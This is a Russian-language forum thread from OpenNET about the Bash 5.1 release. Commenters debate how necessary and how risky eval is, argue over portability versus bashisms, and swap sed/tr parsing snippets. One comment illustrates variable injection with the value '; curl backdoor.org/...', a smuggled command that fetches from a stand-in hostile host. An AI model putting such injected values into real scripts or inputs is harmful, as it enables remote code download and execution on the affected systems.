The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы [ Отслеживать ]

Оглавление

Релиз командного интерпретатора Bash 5.1, opennews (?), 08-Дек-20, (0) [смотреть все]

Сообщения [Сортировка по времени | RSS]


45. "Релиз командного интерпретатора Bash 5.1"  –3 +/
Сообщение от InuYasha (??), 08-Дек-20, 13:28 
Только maximum дырявity, поскольку разделение данные-инструкции очень слабое - т.е. часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...".
Ответить | Правка | Наверх | Cообщить модератору

52. "Релиз командного интерпретатора Bash 5.1"  +2 +/
Сообщение от Аноним (230), 08-Дек-20, 13:49 
> часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...".

Это от криворукости. Разыменование переменной вне двойных кавычек бывает нужно крайне редко и только в тех случаях, когда ты сам эту переменную определил.

Ответить | Правка | Наверх | Cообщить модератору

59. "Релиз командного интерпретатора Bash 5.1"  –2 +/
Сообщение от Аноним (16), 08-Дек-20, 14:06 
Зато eval нужен очень часто, и ничего ты с этим не сделаешь.
Ответить | Правка | Наверх | Cообщить модератору

74. "Релиз командного интерпретатора Bash 5.1"  –2 +/
Сообщение от Аноним (70), 08-Дек-20, 14:30 
нет не нужен
Ответить | Правка | Наверх | Cообщить модератору

75. "Релиз командного интерпретатора Bash 5.1"  –2 +/
Сообщение от Аноним (16), 08-Дек-20, 14:34 
> нет не нужен

Наверно твои скрипты совершенно неконфигурируемая лапша из одного харкода, тогда конечно. При определённой сложности скриптов возникает желание предоставить пользователю возможность конфигурировать части логики в своём конфигурационном файле (а заодно избавиться от необходимости постоянно править хардкод). При том хочется его не насиловать его лишний раз, так что да, очень даже нужен.

Ответить | Правка | Наверх | Cообщить модератору

77. "Релиз командного интерпретатора Bash 5.1"  –1 +/
Сообщение от Аноним (16), 08-Дек-20, 14:39 
А, ещё eval на хештейблы натравливать очень удобно. Хештейблы на порядки удобней альтернатив, особенно когда у тебя неизвестно число параметров. Держать десятки списков в памяти, чтобы отказаться от хэштейблов? Ну, удачи это потом сопровождать.
Ответить | Правка | Наверх | Cообщить модератору

105. "Релиз командного интерпретатора Bash 5.1"  –1 +/
Сообщение от InuYasha (??), 08-Дек-20, 16:03 
> Это от криворукости.

Ага, заскриптуй там миллион кавычек в какой-нибудь ssh -t myserver.ass "sudo "wtf"; echo "shmuck $wtf""; if [[ ! -z $? ]]; then anus-cli --exec "select '$ohshit' insert into "$var" "some stupid string""fi" нувыпоняли.

Ответить | Правка | Наверх | Cообщить модератору

115. "Релиз командного интерпретатора Bash 5.1"  +1 +/
Сообщение от Аноним (230), 08-Дек-20, 16:28 
В скрипте такого не пишут, в интерактиве одной строкой — тоже. Нет, мы не поняли, зачем это может быть нужно. Но тезис о криворукости ты подтвердил.
Ответить | Правка | Наверх | Cообщить модератору

255. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от InuYasha (??), 09-Дек-20, 12:20 
Ну, расскажи, чем вы отправляете команды на сервер? Ансибл-дством?
Ответить | Правка | Наверх | Cообщить модератору

79. "Релиз командного интерпретатора Bash 5.1"  +3 +/
Сообщение от Аноним (230), 08-Дек-20, 14:42 
> eval нужен очень часто

Пишу много скриптов и со всей ответственностью могу сказать, что eval нужен крайне редко. Скорее всего, ты что-то не осилил и сильно усложняешь решение своих задач, если пользуешься им часто.

Ответить | Правка | К родителю #59 | Наверх | Cообщить модератору

81. "Релиз командного интерпретатора Bash 5.1"  –2 +/
Сообщение от Аноним (16), 08-Дек-20, 14:52 
Редко не редко, примерно в 1 из 10 случаев без него никак. Или как, но в 1000 раз сложнее и запутанее. Другое дело, что можно и взять питон. И использовать eval уже в нём, ахаха! Ну там ast.literal_eval есть что всё же получше. Да и в целом eval в питоне нужен примерно никогда, а вот в баше без него просто никуда. Вообще все динамические хэштейблы, массивы, переменные это всё eval будет.
Ответить | Правка | Наверх | Cообщить модератору

89. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 08-Дек-20, 15:07 
> примерно в 1 из 10 случаев без него никак

У меня другая статистика. Приведи пример, что ли. (Хешами и массивами не пользуюсь, ибо переносимость нужна.)

Ответить | Правка | Наверх | Cообщить модератору

116. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 08-Дек-20, 16:29 
Да банально eval declare -A ep=($(mediainfo "${filename}" --Output='Video;%Encoded_Library_Settings%' | tr -d '[:space:]' | tr '/' ' ' |  tr '(' '_' | tr ')' '_' | sed -r 's/(\S+)=(\S+)/[\1]=\2/g')) очень удобно и к чёрту переносимость.
Ответить | Правка | Наверх | Cообщить модератору

168. "Релиз командного интерпретатора Bash 5.1"  +1 +/
Сообщение от Аноним (230), 08-Дек-20, 20:13 
Это не "к чёрту переносимость", это "к чёрту читаемость". Ты бы tr с sed подучил, этот ужас можно минимум на треть сократить.
tr '/' ' ' |  tr '(' '_' | tr ')' '_' можно заменить на tr '/()' ' _'
можно вообще выкинуть tr, раз используешь sed, в нём же есть аналогичная команда y///
можно не париться удалением пробелов, башу пофиг, сколько их там
можно упростить операцию подстановки, правая часть ведь не меняется: 's/(\S+)=/[\1]=/g'
Ответить | Правка | Наверх | Cообщить модератору

176. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 08-Дек-20, 20:28 
Зачем мне его сокращать? Ты всерьёз полагаешь, что так написано не намерено? Несколько разных операторов в седе не всегда можно объединить за один вызов, поэтому легковесный tr тут вполне уместен. И это более читаемо. Но вообще, конечно, речь совсем не о том тут.
Ответить | Правка | Наверх | Cообщить модератору

187. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 08-Дек-20, 21:06 
> Ты всерьёз полагаешь, что так написано не намерено?

Если строка такой длины появляется в коде на каком бы то ни было языке намеренно, это не говорит ничего хорошего об авторе сего кода.

> Несколько разных операторов в седе не всегда можно объединить за один вызов

Чёйта?

> И это более читаемо.

Нет.

Ответить | Правка | Наверх | Cообщить модератору

193. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 08-Дек-20, 21:37 
>Если строка такой длины появляется в коде на каком бы то ни было языке намеренно, это не говорит ничего хорошего об авторе сего кода.

Это моё дело, какой длины у меня строки, и ты лезешь не в своё дело. Это далеко не самая длинная строка и так более очевидно, что происходит, с первого взгляда. Вполне вероятно, это не конечный вариант.

>Чёйта?

А вот ВНЕЗАПНО, ахаха.

>Нет.

Да.

Ответить | Правка | Наверх | Cообщить модератору

206. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 08-Дек-20, 22:33 
> ты лезешь не в своё дело

Ты первый полез не в свой дело, рассказывая всем, как им сильно нужен eval.

> А вот ВНЕЗАПНО, ахаха.

То есть слился, пруфов не будет. ОК.

Ответить | Правка | Наверх | Cообщить модератору

213. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 08-Дек-20, 23:02 
>Ты первый полез не в свой дело, рассказывая всем, как им сильно нужен eval.

Я даже привёл пример где он нужен и незаменим.
>То есть слился, пруфов не будет. ОК.

Гуляй, Вася.

Ответить | Правка | К родителю #206 | Наверх | Cообщить модератору

226. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 09-Дек-20, 01:12 
> Я даже привёл пример где он нужен и незаменим.

Незаменим? Правда, что ль? Это тебе от недостатка фантазии так кажется. Тут и хеш заменим вполне.


escape_re() {
  sed 's/[][\\\/^$.*]/\\\0/g'
}

get_val() {
  key_re=$(echo "$1" | escape_re)
  echo "$VALS" | sed -n "s/^${key_re}=//p"
}

VALS=$( mediainfo "$filename" --Output='Video;%Encoded_Library_Settings%' | sed 's# / #\n#g' )

get_val "$key"

Ни одного eval, ни одного башизма.

Ответить | Правка | К родителю #213 | Наверх | Cообщить модератору

228. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 09-Дек-20, 01:22 
Где ассоциативный массив в этом примере?
Ответить | Правка | К родителю #226 | Наверх | Cообщить модератору

232. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 09-Дек-20, 01:34 
Нет его, прикинь. POSIX же. Но эмулируется он вполне успешно.
Ответить | Правка | К родителю #228 | Наверх | Cообщить модератору

229. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 09-Дек-20, 01:23 
Ты вообще представляешь, как будет выглядеть эта лапша с getval?
Ответить | Правка | К родителю #226 | Наверх | Cообщить модератору

231. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 09-Дек-20, 01:31 
Ох у меня полыхнуло, ты мне предложил словарь где я могу итерировать по ключам и значениям поменять на такую-то лажу! Да ещё сед дёргать миллионы раз. Я сейчас вообще выкину сед и использую встроенные в баш регулярки и ты мне тут предлагаешь ещё больше седа (вместо буквально одного вызова миллионы). Зато "портабэльно ккоо".
Ответить | Правка | К родителю #226 | Наверх | Cообщить модератору

234. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 09-Дек-20, 01:51 
> Ох у меня полыхнуло

Гори-гори-ясно! Чтобы-не-погасло!

> ты мне предложил словарь где я могу итерировать по ключам и значениям поменять на такую-то лажу!

Так и тут итерируй — не хочу.


for kv in $VALS; do
  key=$( echo "$kv" | cut -d= -f1 )
  val=$( echo "$kv" | cut -d= -f2 )
  # и твори с ними что хотишь
done

> Да ещё сед дёргать миллионы раз.

Ну ладно, на тебе почти без седа. tr ты ведь любишь, да?


escape_re() {
  sed 's/[][\\\/^$.*]/\\\0/g'
}

get_val() {
  key_re=$(echo "$1" | escape_re)
  echo "$VALS" | grep "^${key_re}=" | cut -d= -f2
}

VALS=$( mediainfo "$filename" --Output='Video;%Encoded_Library_Settings%' | tr -d ' ' | tr / '\n' )

get_val "$key"


Если уверен в именах ключей, можно escape_re выкинуть, никакого седа не будет.

А вообще расслабься. Я тебя не заставляю так делать, если не нравится. Я просто показал, что eval не является незаменимым. Если любишь словари, то и словарь таким образом наполнить можно, а потом с ним работать. Даже читабельнее получится, пусть и длиннее на несколько строчек.

Ответить | Правка | К родителю #231 | Наверх | Cообщить модератору

286. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 11-Дек-20, 04:32 
Всё ещё костыли, ужасные костыли, мусор, никуда не годится. Тот же tr заменяется на башизмы, sed заменяется на башизмы, grep тоже заменяется на башизмы, в итоге меньше операций, меньше времени расходуется впустую. Другое дело, что в коде который исполняется 1 раз это всё принципиально не нужно, но в твоём коде 100500 внешних вызовов -- каждый раз, когда тебе понадобится значение, его придётся выстрадывать. А значений там с полсотни, и это ведь только простенький кейс. А если что-то более сложное? Просто признай, что все шеллы, окромя баша, должны кануть в лету. И чем быстрее, тем лучше.
Ответить | Правка | К родителю #234 | Наверх | Cообщить модератору

293. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 15-Дек-20, 01:35 
Да, костыли. Но и eval костыль, и башизмы твои — костыли. Просто признай, что там, где нужна производительность и/или работа со сложно структурированными данными, никакой шелл не годится. Зато только шелл годится в случаях, когда нужно написать скрипт, который будет работать везде и всегда. Но нет, это не про bash.
Ответить | Правка | К родителю #286 | Наверх | Cообщить модератору

294. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 15-Дек-20, 10:04 
Всё же получше. Баш пытается изображать язык программирования. Вот я сейчас беру десятки пресетов, генерирую из них массивы, и достаточно эффективно сравниваю с ними (и работаю со значениями) используя средства шелла, и мне даже не надо думать о том, что будет, если там окажется что-то не то -- шелл сам сообщит об этом. А ещё баш имеет синтаксис для модификации элементов массива, он видится мне более аккуратным чем возня со строками. Тут же рядом у меня используется extglob, у даша этого опять же нет.

У меня есть и другие скрипты с таким приёмом, мне страшно подумать, как ужасно они будут выглядеть без массивов (мне придётся весь файл забить мультистрочными значениями и всем прочим, как потом с этим работать? там логика сама по себе не такая простая).

Ответить | Правка | К родителю #293 | Наверх | Cообщить модератору

178. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 08-Дек-20, 20:32 
>башу пофиг, сколько их там

зато мне нет

Ответить | Правка | К родителю #168 | Наверх | Cообщить модератору

169. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 08-Дек-20, 20:17 
Да, я отвлёкся. Без eval тут обойтись сложно, но я бы в принципе не стал решать задачу, в которой такое нужно, на шелле. Есть более подходящие языки, к которым есть удобные библиотеки (хоть биндинги для той же libmediainfo).
Ответить | Правка | К родителю #116 | Наверх | Cообщить модератору

179. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 08-Дек-20, 20:37 
В баше с хэштейблами вполне норм скриптуется такая логика, без них не норм.
Ответить | Правка | Наверх | Cообщить модератору

134. "Релиз командного интерпретатора Bash 5.1"  +2 +/
Сообщение от Урри (ok), 08-Дек-20, 17:22 
Как и аноним выше пишу много скриптов. Анализ поступающих данных с выводом через gnuplot, например. Практически каждый день приходится что-то новое скриптовать для аналитиков.

За последние года два ни разу не использовал eval.

Ответить | Правка | К родителю #81 | Наверх | Cообщить модератору

143. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 08-Дек-20, 17:59 
Скрипты бывают разные. Если ты не пишешь интересной логики и динамических вычислений, вполне естественно, что eval тебе никогда не понадобится. Но баш слишком ограниченный, и если ты уже привык к полноценным скриптовым языкам, тебе хочется хотя бы доли того комфорта. Без eval это не осуществимо, или, во всяком случае, очень многие вещи без него не реализуемы в разумные сроки и с сохранением хоть какого-то удобства.
Ответить | Правка | Наверх | Cообщить модератору

160. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от VINRARUS (ok), 08-Дек-20, 19:45 
Другими словами говнокодинг всегда кажется быстрее.
Делал парсер на eval, мне указали на ошыбку — переделал без eval и код стал даже гибче.
Ответить | Правка | Наверх | Cообщить модератору

167. "Релиз командного интерпретатора Bash 5.1"  –1 +/
Сообщение от Аноним (16), 08-Дек-20, 20:13 
Но стал ли код быстрее? Или понятнее? Если замерить, или хотя бы посчитать количество инструкций? Память тоже не бесконечная. Вообще, в баше очень много вариантов где $ или даже ! в тексте создаст тебе приключений и без eval. А ведь есть ещё extglob! В общем, eval ты хотя бы видишь, и можешь хоть как-то санитизировать, а вот остальное уже не очень. И зачем переписывать то, что прекрасно работает?
Ответить | Правка | Наверх | Cообщить модератору

185. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от VINRARUS (ok), 08-Дек-20, 20:57 
> Но стал ли код быстрее? Или понятнее? Если замерить, или хотя бы
> посчитать количество инструкций? Память тоже не бесконечная. Вообще, в баше очень
> много вариантов где $ или даже ! в тексте создаст тебе
> приключений и без eval. А ведь есть ещё extglob! В общем,
> eval ты хотя бы видишь, и можешь хоть как-то санитизировать, а
> вот остальное уже не очень. И зачем переписывать то, что прекрасно
> работает?

Сам суди:
https://forum.motofan.ru/index.php?s=&showtopic=163337&view=...
https://forum.motofan.ru/index.php?s=&showtopic=163337&view=...
ПС: eval это как наркотик.

Ответить | Правка | Наверх | Cообщить модератору

200. "Релиз командного интерпретатора Bash 5.1"  –1 +/
Сообщение от Аноним (16), 08-Дек-20, 22:23 
Да, eval ради eval это тоже такое, просто есть ситуации где без него объективно никак.
Ответить | Правка | Наверх | Cообщить модератору

204. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от VINRARUS (ok), 08-Дек-20, 22:29 
> Да, eval ради eval это тоже такое, просто есть ситуации где без
> него объективно никак.

Можна короткий пример с коротким описанием?

Ответить | Правка | Наверх | Cообщить модератору

171. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 08-Дек-20, 20:20 
> Если ты не пишешь интересной логики и динамических вычислений, вполне естественно, что eval тебе никогда не понадобится. Но баш слишком ограниченный, и если ты уже привык к полноценным скриптовым языкам, тебе хочется хотя бы доли того комфорта.

Если ты пишешь интересную логику и динамические вычисления, для которых bash слишком ограниченный, и при этом ты привык к полноценным скриптовым языкам, какого чёрта ты используешь для этого bash?

Ответить | Правка | К родителю #143 | Наверх | Cообщить модератору

182. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 08-Дек-20, 20:40 
Потому что могу? Как минимум интересно заменять по-максимуму привычную поизикс содомию башизмами, многие возможности открылись с тех пор как я начал это делать.
Ответить | Правка | Наверх | Cообщить модератору

107. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (103), 08-Дек-20, 16:05 
> Зато eval нужен очень часто, и ничего ты с этим не сделаешь.

очень даже сделаешь
eval ${VARNAME@Q}

Ответить | Правка | К родителю #59 | Наверх | Cообщить модератору

119. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (16), 08-Дек-20, 16:35 
Но я так и не придумал, где это можно применить. Я пытался, честно. Разве что выводить имена файлов с \r. Мне кажется, ты не понимаешь, что это, и для чего.
Ответить | Правка | Наверх | Cообщить модератору

195. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (195), 08-Дек-20, 21:40 
это везде можно применить. просто предварительно загоняй строку для eval в переменную, а потом уже ее eval-ь с этим экспандером. eval в принципе страшен и уязвим только тогда, когда ему можно подсунуть невалидированные данные от пользователя. а данная конструкция позволяет без лишнего гемора отсечь всякие инджекшены
Ответить | Правка | Наверх | Cообщить модератору

248. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (248), 09-Дек-20, 06:40 
У вас уже есть идеальные программисты, которые никогда не ошибаются? В противном случае, использовать язык-ногострел себе дороже.
Ответить | Правка | К родителю #52 | Наверх | Cообщить модератору

258. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (230), 09-Дек-20, 14:00 
У тебя уже есть идеальный язык, который не позволяет выстрелить себе в ногу?
Ответить | Правка | Наверх | Cообщить модератору

268. "Релиз командного интерпретатора Bash 5.1"  +/
Сообщение от Аноним (268), 09-Дек-20, 15:19 
Не позволяет и поощряет это очень разные вещи.
Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру